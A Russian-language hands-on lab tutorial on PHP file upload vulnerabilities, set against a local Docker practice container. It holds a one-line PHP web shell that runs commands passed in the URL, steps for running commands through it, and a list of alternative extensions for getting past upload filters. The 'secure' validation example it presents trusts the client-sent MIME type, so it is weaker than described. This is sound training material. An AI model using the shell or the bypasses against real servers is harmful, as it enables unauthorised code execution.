Введение
Эта лабораторная работа посвящена уязвимостям, связанным с загрузкой файлов, что является распространенной проблемой безопасности в веб-приложениях. Вы узнаете, как выявлять эти уязвимости, понимать их потенциальное воздействие и изучите методы их эксплуатации. Лабораторная работа предоставляет практический опыт с реальными примерами, что позволит вам лучше понять концепции безопасности веб-приложений и защитные меры.
Понимание уязвимостей загрузки файлов
Уязвимости, связанные с загрузкой файлов, возникают, когда веб-приложения не могут должным образом проверить загружаемые файлы. Это может позволить злоумышленникам загружать вредоносные файлы, что потенциально может привести к удаленному выполнению кода на сервере (remote code execution).
Рассмотрим типичную реализацию загрузки файлов в PHP с использованием функции move_uploaded_file():
<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);
Параметры:
$file: Загружаемый файл для перемещения$newloc: Путь назначения для файла
Безопасная реализация должна включать надлежащую проверку (validation), как показано в этом примере:
<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // Get the file extension
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // Less than 200 KB
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
echo "File type: " . $_FILES["file"]["type"] . "<br>";
echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "Invalid file format";
}
?>
Этот код демонстрирует несколько важных проверок безопасности:
- Проверка расширения файла (file extension validation)
- Проверка MIME-типа (MIME type verification)
- Ограничение размера файла (file size limitation)
- Обработка ошибок (error handling)
Без этих проверок злоумышленники могут загружать вредоносные файлы, которые будут выполняться на сервере.
Определение серверного языка
Прежде чем эксплуатировать уязвимость, связанную с загрузкой файлов, крайне важно определить серверный язык, используемый веб-приложением. Эта информация определяет, какой тип файла следует загрузить для успешной эксплуатации.
Сначала настроим нашу лабораторную среду:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images
После выполнения этой команды убедитесь, что среда доступна по адресу: http://localhost:82
Методы определения серверного языка:
Расширения файлов в URL (URL File Extensions):
- Расширения
.phpуказывают на PHP - Расширения
.aspили.aspxуказывают на ASP.NET - Расширения
.jspуказывают на Java Server Pages
- Расширения
Заголовки сервера (Server Headers):
- Microsoft IIS обычно работает с ASP.NET
- Apache или Nginx обычно работают с PHP
- Apache Tomcat работает с JSP
Вы можете использовать расширение браузера Wappalyzer для автоматического определения веб-сервера и языка программирования:
В нашей лабораторной среде вы должны увидеть:
Web Server: Apache
Backend Language: PHP
Загрузка веб-шелла
Теперь, когда мы определили PHP как серверный язык, мы загрузим PHP веб-шелл для выполнения команд на сервере.
Коллекцию веб-шеллов можно найти здесь:
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
- Создайте тестовый файл
phpinfo.phpв каталоге/home/labex/project:
<?php phpinfo(); ?>
Загрузите файл:
- Перейдите по адресу http://localhost:82/upload/example1.php
- Выберите и загрузите свой файл phpinfo.php
Проверьте загрузку:
- Перейдите по адресу http://localhost:82/upload/images/phpinfo.php
- Вы должны увидеть страницу с информацией о конфигурации PHP
Создайте шелл для выполнения команд
shell.php:
<?php echo "Shell"; system($_GET['cmd']); ?>
Загрузите и протестируйте шелл:
- Загрузите shell.php тем же способом
- Перейдите по адресу http://localhost:82/upload/images/shell.php
- Вы можете увидеть предупреждающее сообщение (ожидается без параметров)
Выполните команды:
Проверьте текущего пользователя: http://localhost:82/upload/images/shell.php?cmd=whoami Ожидаемый вывод: www-data
Список файлов и информация о системе: http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a Ожидаемый вывод: Список каталогов и информация о системе
Примечание: Эта лаборатория демонстрирует основные функции веб-шелла. Расширенные темы, такие как обратные шеллы (reverse shells) и повышение привилегий (privilege escalation), рассматриваются в более продвинутых курсах.
Обход серверных ограничений (необязательно)
Некоторые веб-приложения реализуют ограничения на расширения файлов, чтобы предотвратить загрузку вредоносных файлов. В этом разделе рассматриваются методы обхода этих ограничений.
Когда расширения .php заблокированы, попробуйте альтернативные расширения PHP, которые могут быть исполняемыми:
Попробуйте загрузить с расширением
.php3:- Перейдите по адресу http://localhost:82/upload/example2.php
- Загрузите phpinfo.php3
- Перейдите по адресу http://localhost:82/upload/images/phpinfo.php3
Если безуспешно, попробуйте расширение
.phar:- Загрузите phpinfo.phar
- Перейдите по адресу http://localhost:82/upload/images/phpinfo.phar
Распространенные расширения для обхода ограничений, которые стоит попробовать:
- .php3
- .php4
- .php5
- .phar
- .phtml
Примечание: Успех зависит от конфигурации сервера. Разные серверы могут разрешать выполнение разных расширений в качестве PHP-кода.
Резюме
Эта лабораторная работа охватывала основные аспекты уязвимостей, связанных с загрузкой файлов (file upload vulnerabilities):
Ключевые концепции:
- Понимание механизмов уязвимости загрузки файлов
- Определение серверных языков программирования
- Загрузка и выполнение веб-шеллов (web shells)
- Обход ограничений на расширения файлов
Приобретенные технические навыки:
- Обнаружение серверного языка
- Создание и развертывание веб-шелла
- Выполнение команд через загруженные файлы
- Методы обхода ограничений на расширения
Последствия для безопасности:
- Влияние недостаточной проверки файлов (file validation)
- Важность надлежащих ограничений на загрузку
- Риски выполнения на стороне сервера (server-side execution risks)
Эти базовые знания подготавливают вас к продвинутым темам безопасности веб-приложений, которые рассматриваются в последующих курсах.



